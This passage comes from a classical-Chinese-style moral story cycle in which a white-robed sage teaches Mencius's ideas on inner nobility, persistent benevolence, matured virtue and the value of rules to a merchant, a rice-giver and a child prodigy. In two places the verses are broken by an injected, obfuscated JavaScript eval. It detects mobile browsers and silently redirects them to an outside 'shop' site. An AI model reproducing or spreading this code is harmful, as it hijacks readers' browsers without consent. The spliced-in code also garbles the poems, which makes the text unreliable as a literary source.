白衣人指那三人：“老丐阿牛，今在城隍庙栖身。你可愿延至府中，奉养天年？” “愿！” “书生李秀，清贫教谕。你可愿捐资助学，设义塾聘他为师？” “愿！” “刘王氏母子，孤苦无依。你可愿认为义女，教养其子？” “愿！” “善。”白衣人点头，“然此非为避祸，是为你本心。你若真行，祸或可解。” 钱百万即召三人，一一安置。又开仓放粮，散财济贫，三日间，钱府门前求施者不绝。 第四日，御史果至。然入云州境，闻“钱大夫”善举，街谈巷议皆称颂。御史暗访，见义塾中书声琅琅，养老院中叟妪安乐，又见钱百万布衣蔬食，亲为孤老盛粥，全无“犯官”之态。 是夜，白衣人现于驿馆，献《孟子》“良贵”章句于御史。御史观之，沉吟良久。 翌日，召钱百万，问：“你捐官之事，可知罪？” 钱百万伏地：“罪民知罪。然捐官非为荣身，实为…为掩出身之卑，求人一视。今知大谬，愿缴还冠带，散尽家财赎罪。” 御史叹道：“本官查你，三十年来，暗行善举百余桩，受惠者数千。此等‘良贵’，胜冠带多矣。捐官虽违法，然念你悔过真切，且善行卓著，本官当据实上奏。” 钱百万泣谢。御史临行，指庭中老槐：“守此根本，毋再缠金箔。” 四、 贵常在 事毕，钱百万果散家财之半，设“良贵堂”，专济孤贫。自去冠带，仍着布衣。郑公来访，见其怡然，奇道：“钱翁失‘贵’，何以反乐？” 钱百万笑指“良贵堂”匾：“昔求人贵，如履薄冰，战战兢兢。今守己贵，俯仰无愧，其乐融融。郑公看，此贵与彼贵，孰真？” 郑公惭然而退。 白衣人来贺，钱百万拜谢：“非先生指点，我几以虚贵弃良贵。” “你今方悟。”白衣人自怀中取一铜镜，“此镜赠你。每日对镜自问：今我所为，求人贵乎？修己贵乎？” 钱百万对镜，见镜中人不复昔日富态，然双目澄明，笑意自足。忽忆起三十年前，冬日赠袄，那乞丐眼中泪光——彼时心中暖意，与今一般无二。 “我知之矣！”钱百万恍然，“良贵不假外求，就在本心。仁义之心，人所固有，弗思耳！” “善！”白衣人拊掌，“《诗》云‘既醉以酒，既饱以德’。你今饱乎仁义，可还羡膏粱文绣否？” 钱百万大笑，命撤去华筵，但与白衣人、阿牛、李秀、刘王氏等，共坐槐下，粗茶淡饭。食罢，钱百万叹：“此饭之甘，胜往日珍馐百倍。” 是夜，白衣人于“良贵堂”前立碑，刻《孟子》全章。又题偈： “人人怀中玉， 自弃求他石。 他石可夺碎， 怀玉谁能窃？ 既饱仁义德， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088194|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何羡膏粱食。 但得良贵在， 风雨不能蚀。” 阿牛不识字，问：“先生，此碑说的啥？” 白衣人笑：“说你钱爷爷怀里有宝玉，自己不知，反去求别人的石头。” 阿牛挠头：“钱爷爷的宝玉…是钱么？” “非也。”李秀温言，“是仁心。你受袄不受金，是因袄暖，金不暖。仁心如火，可暖人心，此是钱翁良贵。” 阿牛似懂非懂，却道：“那我也有宝玉！去年冬，我分半块馍给小黑，他哭了…” 满座动容。白衣人抚其首：“正是！人人皆有，弗思耳！” 尾声良贵火 钱百万寿至耄耋。临终，子孙问遗言，但指“良贵碑”，含笑而逝。葬日，云州百姓白衣相送，有受恩者千里奔丧。 郑公挽联云： “求贵时何贱，守贵日自尊。 始知仁义富，不在冕缨尊。” “良贵堂”历三百年不衰，每有主事者，必先对碑自省。有富家子捐巨资，欲求题名碑上，主事者问：“君求人贵乎？修己贵乎？”富家子赧然而退。 战乱时，堂毁碑存。饥民欲碎碑取石，有老者泣阻：“此碑在，良心在。碑碎，人心尽碎。”众乃止。 大周既亡，新朝立，有刺史欲移碑入城，是夜梦白衣人曰：“良贵在人心，碑在处，即人心在处。”刺史悟，乃重修“良贵堂”，聘大儒讲学，首课必讲“赵孟之贵与己之良贵”。 有蒙童问：“夫子，若无人知我良贵，奈何？” 夫子笑指庭灯：“此灯在昼，光而不显；在夜，则明照四方。良贵如灯，不因昼隐而失其明，不因夜显而增其光。你但修之，何患人知？” 童恍然。自此堂中学子，但问己心，不求人知。 暮年钱百万曾作《贵箴》，刻于碑阴： “余少贫，慕人贵。 及富，求人贵。 捐官得贵，反失己贵。 幸蒙棒喝，知返本真。 良贵者，仁义也，人人固有，弗思耳。 赵孟之贵，可予可夺； 己之良贵，自在胸怀。 饱乎德者，不羡膏粱； 广誉在身，何需文绣？ 愿见碑者， 内求诸己， 毋外逐人。” 今碑石温润，以手抚之，似有余温。乡人说，每至寒冬，碑身自发暖，贫者倚之可御寒。 或问其故，耆老曰：“非碑暖，是人心暖。良贵如火，代代相传，不熄不灭。” 月明之夜，有白衣人影现碑前，轻抚刻字，喃喃： “人人有贵于己者，弗思耳…” “弗思耳…” 槐影摇动，如应如答。 本章诫世 一、 良贵在己 - 人人自有贵于己者（仁义之心），然多弗思，反外求 - 破解法：遇慕虚荣时，自问“我本有贵，何须外求” - 示例：钱百万本有仁义之贵，反求冠带之贵，几酿大祸 二、 赵孟之贵 - 权贵所予之贵，可予可夺，非良贵 - 惕世：多少人追逐“赵孟之贵”，而弃“己之良贵”？多少光环，不过是他人所赐，随时可被剥夺？ - 反思：所重所慕，是他人评价，还是本心充实？ 三、 饱德之足 - 仁义之德饱乎心，则不愿膏粱文绣 - 深层隐喻：精神富足者，不慕物欲虚荣 - 终极指向：内修良贵，外荣不足慕；内无良贵，外华不足恃 良贵偈： 显德九年云州冬，钱翁求贵入牢笼。 赵孟能贵亦能贱，白衣指月醒愚蒙。 仁义在怀即良贵，何需冠带夸豪雄？ 至今碑暖寒士骨，犹说人人怀玉同。 后世叹： 大周巨贾钱百万，腰缠万贯犹不足。 捐官求贵反招祸，散财修德方是福。 赵孟之贵如朝露，己之良贵胜金玉。 寄语世间慕荣客，莫将怀璧等闲渎。 正是： 欲贵之心人所同，谁识良贵在怀中。 赵孟能贵亦能贱，仁义饱德自无穷。 膏粱文绣何足羡，令闻广誉是天工。 寄语迷途求贵者，归来反求即得通。 43. 杯水谳 楔子一车薪 大陈开明七年，江州大旱。有富户朱善仁，设粥棚施粥，日煮三石米，然灾民过万，粥清如水。有饥童捧碗泣曰：“此水胜饥否？”朱善仁叹道：“力有未逮，惭愧！” 是时，有米商刘不仁，囤粮万石，日售十石，价翻十倍。灾民咒骂，刘不仁嗤之：“朱善人日施三石，不过杯水车薪。既不能救，何必作态？不如如我，明码实价，各安天命。” 一日，朱善仁见有老妪饿毙棚前，捶胸痛哭：“吾日施粥，竟不能活一人！”愤而砸灶，欲闭棚。 忽闻棚外有人击节而歌： “杯水欲救车薪火， 不熄反怨水不胜。 今之为仁皆如此， 何怪世间不仁横？” 众视之，见一白衣人立粥棚残灶旁，斗笠面纱，木剑负背，手中正舀一瓢清水。 一、 杯水车薪 朱善仁拭泪道：“阁下讥我乎？” 白衣人倾瓢中水于地，水渗入干土，瞬即无痕：“非讥，是叹。孟子曰：‘仁之胜不仁也，犹水胜火。’然今之为仁者，犹以一杯水救一车薪之火也；不熄，则谓之水不胜火。朱公日施三石，于万人如杯水；刘不仁囤粮万石，如车薪之火。杯水浇车薪，不熄反蒸，此非水不能胜火，是水少火旺耳。” 朱善仁苦笑：“我力只此，奈何？” “杯水难灭火，然可润一苗。”白衣人指棚前饿毙老妪，“公见一人死，便砸灶闭棚，是谓‘不熄，则谓之水不胜火’。此念一生，便与不仁同流——因觉仁不能胜，索性不为。此正是‘与于不仁之甚者也，亦终必亡而已矣’。” 朱善仁悚然：“我…我岂是不仁？” “非你不仁，是灰心丧志，自绝于仁。”白衣人正色，“今江州大旱，不仁如烈火，仁者若皆如公，见火旺而弃水，则火必燎原。当思：一杯水不熄车薪，然十杯、百杯、千杯如何？若全城富户皆施三石，便是三十石、三百石，可能灭火？” 朱善仁垂首：“他人…未必愿为。” “公未劝，安知不愿？”白衣人自袖中取出一卷竹简，展之，乃《孟子》章句，“孟子此言，非责杯水，是责以杯水自足、见火不退之辈。公今有三问，可愿答否？” “请讲。” “一问：公施粥，是为救饥，还是为安心？” 朱善仁怔住。 “二问：公见一人死而砸灶，是痛生命，还是怨己无力？” 朱善仁汗出。 “三问：公若知施粥难救万人，可还施否？” 朱善仁默然良久，忽抬头：“当施！救一人是一人！” “善哉！”白衣人拊掌，“此方是真仁心。今我为公谋，可愿听？” 二、 杯水汇川 白衣人引朱善仁至江州城楼，指城中星火：“公看，此间富户百余，若皆如刘不仁，江州成焦土。然若有十户如公，每户日施三石，便是三十石，可活三千人。若有百户，便是三百石，万人得活。” 朱善仁苦笑：“谁愿从之？” “公未劝，安知不从？”白衣人下城，径至刘不仁米铺前。时值正午，购米者排长龙，有贫妇抱婴跪求：“刘老爷，赏一升米，孩将死矣…”刘不仁阖目摇扇，置之不理。 白衣人上前，掷一锭金于案：“此金，购米十石。” 刘不仁睁眼，见金足色，即命装米。白衣人却道：“且慢，此米不运走，就铺前施粥。” 刘不仁蹙眉：“我这做买卖…” “买卖是买卖，仁义是仁义。”白衣人截道，“刘掌柜囤粮万石，日售十石，余者生虫。何不日捐十石施粥？一则积德，二则去陈储新，三则…”他压低声音，“灾民积怨，如火药堆积。若有一日爆燃，掌柜万石粮，可能保命？” 刘不仁色变。白衣人续道：“今朱善人日施三石，不过杯水。掌柜若日捐十石，便是添杯。若城中富户皆捐，杯水汇流，可成小溪，可润旱田。届时灾民得活，皆感掌柜之德，岂不胜于今日千夫所指？” 刘不仁沉吟。白衣人又指那跪地贫妇：“掌柜今日舍十石，救百命，他日口碑流传，生意自通。何不为？” 刘不仁终点头：“罢，便捐十日。” 白衣人即于铺前设灶，以所购十石米并朱善仁三石，合煮大锅粥。又书“刘朱合施”幡，插于棚前。灾民闻讯而来，见粥浓米实，皆欢呼。 刘不仁初时肉痛，及见灾民叩谢，口称“刘善人”，竟觉胸中畅快，对白衣人道：“怪哉，舍米反乐。” 白衣人笑：“此谓仁心之乐，胜于守财之患。” 朱善仁见状，恍然道：“我愚矣！昔独力施粥，如杯水车薪，便生退意。今知合众力，杯水可成涓流。” “然也。”白衣人颔首，“仁胜不仁，需众仁合力。今请朱公为首，邀城中富户，共组‘合施会’，如何？” 三、 合施会 三日后，“江州合施会”成。朱善仁为会首，刘不仁副之，初有八户加入，日捐米五十石。然于数万灾民，仍不足。 有富户讥：“五十石亦杯水耳，何益？” 白衣人于会中道：“诸公可知‘杯水救火’之谬？非水不胜火，是水少耳。今五十石，可活五千人。若明日添为百石，后日二百石，火势可遏。更有一法——” 他取江州图，指四方：“灾民散处四乡，皆聚城中领粥，徒耗体力。不若分设粥棚于四门，各会户分领一棚，就近施济。又，可募少壮者以工代赈，疏河道、修义井，予粮予工，既活人，又治本。” 众皆称善。于是四门设棚，又开“以工代赈”局。不旬日，加入者三十余户，日捐米达二百石。 刘不仁忽献计：“我存粮有陈米三千石，可半价售与会中，所得银两，可购新粮，循环施济。”众讶其慷慨，刘不仁赧然：“昔为守财奴，今…今觉仁心之乐耳。” 朱善仁执其手：“刘兄此变，便是杯水汇川之始。” 然灾情日重，流民仍增。有会户气馁：“今捐三百石，犹不及刘不仁囤粮一成。此非杯水车薪乎？” 白衣人正色：“诸公！杯水救火，不在一杯之水，在持杯不辍之心。今三百石活三万人，若气馁而止，此三万人即死。更可怕者——”他环视众人，“若仁者皆因力微而退，不仁者必嚣然曰：‘看，仁不能胜！’届时人人效刘不仁囤积，江州成鬼域矣！” 众肃然。白衣人续道：“孟子谓‘此又与于不仁之甚者’，非谓不为仁，是谓因仁难胜而不为，是助不仁之气焰。今诸公但持此杯，莫问火势。一杯复一杯，代代无穷，火终有熄时。” 忽有仆来报：“不好了！东门粥棚被抢，乱民欲烧刘记米仓！” 四、 杯水不熄 众惊，往视。果见东门乱作一团，饥民砸棚抢粮，高呼：“杯水不济事，抢了活命！”刘不仁米仓前，堆积柴薪，有暴民执火把欲焚。 朱善仁欲上前，白衣人止之，径至仓前，朗声道：“诸君！此仓有米万石，若焚之，米成灰，何人得活？” 一汉子怒道：“刘不仁囤积居奇，该死！” “刘不仁昔囤积，今已捐米五百石，入合施会，日捐二十石。”白衣人指刘不仁，“人孰无过？过而能改，善莫大焉。今若焚仓，是绝万人生路，更是绝悔过者向善之心！” 又指乱民：“诸君为活命，情有可原。然抢掠焚仓，是不仁。不仁之火燃起，仁者救之，如杯水车薪。今请诸君助我，莫让此火燎原——愿以工代赈者，日予三升米；老弱妇孺，日予一升粥。如此，人人得活，何需抢掠？” 众迟疑。忽有老妪出列，乃昔日跪求刘不仁之贫妇，今抱婴泣道：“恩人！刘老爷日前赠我米，救儿命。诸位，且信白衣先生！” 又有多人出，皆近日受济者。乱民渐静。 白衣人即命开仓，半以施粥，半以工代赈。是日，东门设“劝善台”，朱善仁、刘不仁等轮值，与灾民对话，解其怨，疏其困。 三日，乱平。而“合施会”声势大振，富户增至六十，日捐米五百石。更奇者，有中产之家，日捐一升半斗，积少成多，又添百石。 白衣人于合施会堂前，立“杯水碑”，刻孟子语。又题偈： “杯水难灭车薪火， 非是水弱火强横。 但当持杯不退缩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088195|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ， 百川汇海火自平。 今人见难辄言弃， 此与不仁是同声。 愿君长存杯水志， 莫因力微忘征程。” 刻罢，谓朱善仁：“公今为杯水之首，然需谨记：杯水之力，在持续，在汇聚，在信水必胜火。纵一生杯水，莫生退意，便是真仁者。” 朱善仁拜受。 尾声杯水禅 开明八年，雨至，旱解。合施会不解，转为“长善堂”，专济孤寡，兴义学。朱善仁、刘不仁并为堂主，人称“江州二善”。 刘不仁临终，执朱善仁手：“兄…昔我笑杯水车薪，今知杯水不绝，可穿石、可成流。愿兄持此杯，莫让后人笑我辈愚。” 朱善仁卒年八十，遗命薄葬，省下资财充长善堂。其碑仅八字： “一杯水，一辈水，水长流。” 后三十年，江州复旱。有富户欲囤粮，长者引至杯水碑前，读孟子语。富户赧，捐粮入长善堂。是灾，江州无饿殍，传为奇迹。 有游方僧见碑，合十：“此杯水禅也。杯水虽微，愿力无穷；车薪虽炽，道心不灭。” 小沙弥问：“师父，若杯水终不灭火，奈何？” 僧指碑旁井：“你看此井，早时浅，雨时满，然水脉在地下，千年不绝。仁心如水脉，但持此杯，莫问火势。代代持杯，火终有尽时。” 是夜，白衣人影现碑前，抚偈喃喃： “杯水…车薪…” “杯水…车薪…” 忽有童子夜读至此，问父：“爹，若仁终不敌不仁，为何还要仁？” 父执子手，掬井水饮之：“儿，此水甘否？” “甘。” “你饮此水，是因信井不竭，还是因渴？” “因渴…也因信有井。” “仁亦如此。”父温言，“行仁非为必胜，是因本心要行。如渴需饮，饥需食，仁是心之需。至于胜不胜…”他指杯中水，“水入土，润根苗，苗不自知。仁入世，暖心田，何需人知？” 童恍然。父又道：“昔白衣先生说，但持此杯，莫问前程。你长大，也要持一杯水。” “若火太大呢？” “杯水不止，便是江河。” 月下，父子背影渐远。碑旁古井，水面如镜，映一天星月。 似在说： 杯水虽微，映得星河。 车薪虽炽，燃不过夜。 持杯者，持杯者。 莫停，莫歇。 本章诫世 一、 杯水车薪之谬 - 以杯水救车薪火，不熄便谓水不胜火，是因噎废食 - 破解法：仁行难见功，非仁无效，是仁力未充 - 示例：朱善仁施粥见一人死即砸灶，是“杯水逻辑”；后合众力方成流 二、 与于不仁之甚 - 因仁难胜而不为，是助不仁气焰，实同不仁 - 惕世：多少善行因“无用”而止？多少初心因“无力”而冷？ - 反思：可曾以“杯水”为由，放弃“持杯”？ 三、 杯水汇川之力 - 杯水不辍，可成涓滴；众杯合力，可成江河 - 深层隐喻：文明进步不在英雄壮举，在凡人持守 - 终极指向：人人持一杯水，便是人间甘霖 杯水偈： 开明七年江州旱，朱公施粥力已殚。 杯水车薪火不灭，白衣指谬醒愚狻。 合施能聚百户米，杯水可成千里湍。 至今碑畔井泉涌，犹润行人仁心丸。 后世叹： 大陈江州逢凶年，富户施粥如滴涓。 杯水难救车薪火，仁心几化嗔毒烟。 幸有白衣明孟旨，能教众善汇流泉。 寄语世间行仁者，莫因力微忘仔肩。 正是： 江州大旱如火焚，杯水车薪救不得。 灰心便与不仁伍，持志方能聚涓滴。 莫因力微忘初念，但得众擎可移山。 寄语世间行善客，杯水长流即春泉。 44. 仁熟谳 楔子美种莠 大燕咸亨三年，青州有神童方仁，三岁能诵《孝经》，七岁作《仁爱赋》，十二岁中秀才，乡里誉为“仁童”。其父方员外大喜，遍请名师，专授仁义之学，期其成一代大儒。 然仁童有一癖：凡见不仁之事，必当面叱责。见邻人杀鸡，斥其“不仁”；见童子斗蛐蛐，责其“残虐”；乃至父宴客食肉，亦摔箸离席，曰：“君子远庖厨，尔等食肉，与刍狗何异？” 客皆尴尬，方员外赧然，然宠溺其子，不以为非。 是岁乡试，方仁洋洋洒洒万言，皆论仁义，主考批“迂阔不切实务”，落第。方仁归家，闭门泣曰：“举世皆浊，我独清！”遂绝食三日。 方员外忧心如焚，忽闻门外有人作歌： “五谷虽美不熟， 不如荑稗可刈。 仁心虽善不熟， 不如市井常德。” 推门视之，见一白衣人倚梅而立，斗笠面纱，木剑负背，手中拈着一穗青稻。 一、 不熟之谷 方员外迎入，白衣人径至方仁榻前，示以青稻：“小友，识此物否？” 方仁瞥之：“稻也。” “然。”白衣人摘一粒，捻出浆汁，“此稻离熟尚早，若此时收割，可能食否？” “不可，浆未成米。” “若强食之，反伤脾胃，是也不是？” “是。” 白衣人颔首，自袖中取一束野草：“此荑稗也，乡人饲畜之物。今以此熟稗，与彼生稻，孰可充饥？” 方仁怔然：“自当是稗…然稻为美种，稗乃莠草…” “着啊！”白衣人拊掌，“孟子曰：‘五谷者，种之美者也。苟为不熟，不如荑稗。’稻虽美种，不熟则不如稗；仁虽美质，不熟则不如常德。小友，你自诩仁童，可知仁需‘熟’否？” 方仁不服：“我读圣贤书，行仁义事，如何不熟？” 白衣人笑指窗外：“你看那邻人杀鸡，是为何？” “为口腹之欲，不仁！” “然邻人杀鸡，是奉老母寿。其母年高齿摇，唯嗜鸡汁。子杀鸡奉母，是仁否？” 方仁语塞。 “再看童子斗蛐蛐，是为何？” “嬉戏残虐，不仁！” “然彼童乃孤儿，以斗蛐蛐所得，养瘫痪祖母。蛐蛐伤残，祖母得活，是仁否？” 方仁愕然。 “至于宴客食肉——”白衣人目视方员外，“令尊宴请，是为酬谢匠人修葺义塾。匠人劳累三月，肉食补力，是仁否？” 方仁汗出，犹辩：“然…然君子远庖厨…” “远庖厨，是存不忍之心，非绝肉食。”白衣人正色，“若农夫不杀牲，何以耕田？若医者不杀菌，何以活人？仁非不杀，是杀中有仁；仁非不食，是食中有悯。今小友但执仁名，不察仁实，见皮毛便叱，如刈青稻，美种成秕糠，此谓仁不熟也！” 方仁如遭棒喝，颓然卧倒。 二、 熟仁九问 白衣人出堂，对方员外道：“令郎仁种美矣，然灌溉失当。今有九问，可试其仁熟否？” 遂出题，命方仁答： 一问：老父病，需虎骨为引，杀虎否？ 方仁踌躇：“杀虎不仁…然父命重…不杀！” “父死，是仁否？” 方仁泣：“不仁！” “然则？” “愿…愿杀虎救父。” “善，知权变，仁熟一分。” 二问：饥荒，有粥十碗，饥民百人，如何分？ 方仁：“当均分，人一小口。” “老弱得一口，不支而死；壮者得一口，不饱亦死。均乎？” “那…当先予老弱。” “幼童亦老弱乎？壮者死，谁养老弱？” 方仁汗下：“请先生教我。” “当以粥为引，聚壮者开荒，以工代赈，老弱辅之。此谓‘授人以渔’，仁熟二分。” 三问：盗劫贫家，你擒之，贫家求情，言盗为救病母。释否？ “释…然违法。” “法为惩恶，亦为扬善。若盗有仁心，惩之是绝其自新之路。当令其劳作偿债，医母养家，是仁法两全。仁熟三分。” 如是九问，方仁初时答以书本教条，渐而深思，终至涕泣：“我知矣！仁非死理，乃活水，需因时制宜，因人成事。我昔执一死仁，是青稻不熟，不如市井老妪之温厚！” 白衣人颔首：“此悟尚浅，需历事磨炼。” 三、 仁熟三炼 次日，白衣人引方仁至市井，暗观三事： 其一，见屠户宰猪，血流满地。方仁蹙眉欲斥，白衣人止之，使近观。但见屠户下刀利落，猪少痛楚，且每宰一猪，必默祷：“畜牲畜牲你莫怪，你是人间一道菜。”方仁奇之，白衣人道：“此人杀生为业，然存不忍，是仁熟于杀。” 其二，见悍妇当街殴夫，夫不敢抗。方仁欲劝，白衣人又止。俄而，夫归家，悍妇煮姜汤，为夫敷伤，泣曰：“吾惧你与邻妇勾搭，故失态。”夫叹：“我岂是此人？”遂和好。白衣人道：“此妇悍妒，然心中有爱，是仁熟于嗔。” 其三，见乞丐夺童馒头，童哭。方仁怒，白衣人仍止。但见乞丐夺后，掰半还童：“我三日未食，借你半馒，来日还你。”童止泣。白衣人道：“此丐虽夺，然存良知，是仁熟于盗。” 方仁恍然：“原来仁在百姓日用，非在书本字句！” “然也。”白衣人道，“然知仁在日用，尚需炼仁成熟。今有三炼，你敢受否？” “敢！” 一炼，白衣人命方仁入屠户家为佣，三日。方仁初畏血，渐知屠户孝母，日留精肉奉母，自食碎骨。市人有贫者，常赊肉与之。方仁悟：屠户仁在孝、在信、在悯贫。 二炼，命方仁为悍妇家担水，三日。方仁见妇虽悍，然勤织布养家，夫多病，全赖其力。妇每叱夫，实恐其劳。方仁悟：仁在悍中，如蚌含珠。 三炼，命方仁与丐同宿破庙，三日。丐名阿七，原为佃户，被夺田产，流落至此。夺童馒，是为病妻。方仁恸，倾囊助之。阿七泣：“君不嫌我，我必还报。”后果拾金不昧，寻失主还之。方仁悟：仁在困顿，不失本心。 三日毕，方仁归，形神俱疲，然目有光。白衣人问：“今知仁否？” 方仁拜：“仁在屠刀下，在悍骂中，在乞儿手。不历事，不熟仁。” “善！”白衣人道，“然此三炼，不过小熟。仁之熟，如稻之熟，需经风雨，需历四时。今有一大事，可愿为？” 四、 熟稻济世 时青州有豪绅杜霸天，强占民田，乡人敢怒不敢言。方仁愤，欲告官，白衣人止之：“杜有靠山，告无用。当以仁熟之。” 遂为方仁谋：先暗访被占田户，录其冤情。又查杜霸天家事，知其独子病弱，延医无数不愈。方仁通医理，白衣人命其扮游医，为杜子诊治。 方仁踌躇：“为恶人子医，岂非助恶？” 白衣人叹：“子有何罪？医者仁心，当普济众生。且杜之恶，半因子病心焦，若能愈其子，或可化其恶。” 方仁从之。入杜府，尽心医治，三月，杜子渐愈。杜霸天感其德，赠金百两，方仁不受，但求一见。 见时，方仁呈冤民状，泣陈：“公爱子，人亦爱子。公夺人田，人子何以活？”杜霸天初怒，及见状上血泪斑斑，又见独子倚门唤“爹”，默然良久，叹道：“我作恶多矣！” 遂召被占田户，或还田，或赔银，又开仓济贫。青州震动。 方仁问白衣人：“先生，此可谓仁熟否？” 白衣人摇头：“此不过催熟。真熟需时。你观杜霸天，还田是真心悔悟，还是畏子夭折？” 方仁不解。白衣人曰：“且观后效。” 未几，杜子病复发。杜霸天疑方仁作祟，大怒，拘方仁拷问。方仁笑：“我医子出于仁，今公疑我，是仁未熟。然公可知，子病在心，公作恶多，子心不安，故病缠绵。” 杜霸天震骇。是夜，白衣人现，道：“欲愈子病，当愈己心。”授以《感应篇》。杜霸天跪读，彻夜不眠。次日释方仁，散家财之半，设“赎罪堂”，专助冤民。其子果渐愈。 白衣人对方仁道：“今杜之仁，方见芽。然仁熟如稻，需经三灾八难。你且看——” 后三年，杜霸天力行善事，然乡人疑其伪，盗匪欺其善，官府榨其财。杜几度欲辍，方仁劝：“公，仁熟需火炼。”杜咬牙坚持，至第五年，青州大旱，杜尽散余财，活人无数，乡人始信其诚，尊为“杜善人”。 白衣人引方仁观 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方仁仍不答，但说故事：昔有侠客，仇家落井，侠客救之。仇家问：“何救我？”侠客曰：“我恨你，是私怨；救你，是公义。仁熟者，能分公私。” 童恍然。 熟仁堂前，方仁立“熟仁碑”，刻孟子语。又镌己悟： “余少称仁童，实为生稻。 见杀生则斥，遇不平则叱， 是仁不熟也。 后历市井，知仁在日用； 炼三事，知仁需磨砺； 化杜某，知仁可感通。 乃悟： 五谷不熟，不如荑稗； 仁心不熟，不如常德。 愿后来者， 莫以生稻自矜， 当以熟谷自勉。” 后三十年，青州大疫。方仁率熟仁堂弟子，施药救疾，染疫而亡。临终执弟子手：“仁…仁需熟，熟…熟在行…” 葬日，青州白衣。杜霸天已老，扶柩泣：“先生熟仁，我未熟…”乃散尽家财，建“熟仁义庄”，遗命子孙：但行善，莫问名。 白衣人曾现熟仁堂，抚碑叹： “仁如种，需时熟； 熟非终，是生生。 但得此心常熟， 何惧世事荒芜？” 后百年，熟仁堂圮，碑独存。有饥者倚碑，见碑文“熟”字，忽悟：仁需熟，如谷需时，急不得，弃不得。遂起身觅食，拾穗而种，岁余成田，复建“熟仁社”，收留孤老，课授童子。 社中训条首则： “莫以仁自矜，当以熟自勉。” 本章诫世 一、 仁需熟 - 五谷不熟不如荑稗，仁心不熟不如常德 - 破解法：莫执仁名，当求仁实；莫急求成，当待熟时 - 示例：方仁初为“仁童”，实则生稻；后历事磨炼，方成熟谷 二、 熟仁三阶 - 一阶：知仁在日用，非在书本 - 二阶：炼仁在事中，经权达变 - 三阶：仁熟于心，生生不息 - 惕世：多少人以“仁”自居，实则生硬迂阔，伤人而不自知？ 三、 熟非终点 - 仁熟一分，行一分；熟十分，行十分 - 深层隐喻：德行如农事，需耕耘，需时月，需耐心 - 终极指向：但行仁，莫问熟；但问耕耘，莫问收获 熟仁偈： 咸亨三年青州冬，方童称仁实稚蒙。 生稻不如熟荑稗，白衣开示启愚衷。 市井三炼仁方熟，稻熟方堪济世穷。 至今碑前春草绿，犹说仁心待岁丰。 后世叹： 大燕神童方家子，仁名早著性偏迂。 斥人杀鸡为不仁，自命清高与众疏。 幸遇白衣明熟理，能教生稻成嘉株。 寄语世间抱仁者，莫将未熟作玑珠。 正是： 五谷虽美不熟，不如荑稗可刈。 仁心虽善不熟，不如市井常义。 方童初执死理，白衣指以活谛。 仁在屠刀悍骂，亦在乞儿泪涕。 熟仁需经三炼，熟稻可济苍黎。 寄语天下仁者，莫把生禾自诩。 45. 规矩谳 楔子羿门射 大宋淳化五年，江陵有“羿门射圃”，馆主名后胜，自称后羿后人，授射技。其法特异：不教引弓搭箭，但令弟子每日对靶静坐，谓之“养箭心”。有弟子问：“不习射，何以中靶？”后胜答：“心至箭至，何需形式？” 是年秋，江陵办“射魁会”，羿门十弟子参赛，皆脱靶。观者哗笑。有老射手讥：“无规无矩，何谈射艺？”后胜不服：“尔等拘泥形式，焉知神射在神不在形！” 正争论间，忽闻场外有人作歌： “羿教射必志于彀， 大匠诲人以规矩。 今有羿门弃规矩， 却笑他人守拙愚。” 众视之，见一白衣人立柳下，斗笠面纱，木剑负背，手中捻着一根柳枝。 一、 志于彀 后胜不悦：“阁下何人？敢议我门？” 白衣人步入场中，以柳枝为弓，虚引作射状：“山人无姓，但闻孟子有言：‘羿之教人射，必志于彀，学者亦必志于彀。’敢问馆主，何为彀？” 后胜语塞。白衣人自答：“彀者，弓满也。弓不满，箭不远；力不达，的不中。羿教射，必令学者志在引满弓，此是规矩。今馆主教人‘养心’，却不教引弓，是弃规矩而谈神射，岂非空中楼阁？” 有弟子问：“然馆主言，心至箭至…” “心至箭至，需以规矩为阶。”白衣人截道，“譬如登楼，心欲至顶，需拾级而上。若弃阶梯，但言‘心至身至’，是欺是妄。射艺有规矩：站如松，握如磐，引如月，放如电。此规矩，是千百年射手心血所凝，如大匠之规尺。弃规矩而求神射，如弃舟楫而渡沧海，必溺无疑。” 后胜强辩：“规矩拘人，难得神髓！” “非也。”白衣人取一弓，引满，松弦，弓鸣如雷，“规矩非拘人，是助人。羿之规矩，是引弓之法；大匠规矩，是制器之度。学者循规蹈矩，方得自由。譬如孩童学步，先扶墙，后独行。馆主令弟子弃墙学走，是爱之，是害之？” 众弟子默然。白衣人又道：“今我立一规，馆主可敢试？” “何规？” “你我各教一童，十日为期。我教规矩，你教‘养心’，十日后来此比射，中的多者胜。” 后胜傲然：“有何不敢！” 二、 规矩传 白衣人选一童，名阿拙，年十二，从未习射。后胜选一童，名阿敏，同岁。 首日，白衣人教阿拙站姿：两脚同肩宽，身如松。阿拙摇摇欲倒，白衣人折柳枝为尺，量其足距，以白粉画地，令其立其中。阿拙苦，白衣人正色：“无此规矩，箭出必偏。忍之。” 后胜教阿敏：闭目对靶，想象箭中红心。阿敏坐半日，昏昏欲睡。 次日，白衣人教握弓：虎口对弓脊，三指扣弦。以布条缚阿拙手，令成固定手势。阿拙手酸欲泣，白衣人曰：“大匠制器，以规矩为绳墨。今缚尔手，是令规矩入骨。” 后胜仍教阿敏“观靶心”，阿敏不耐：“先生，何时实射？” “心未静，射无益。” 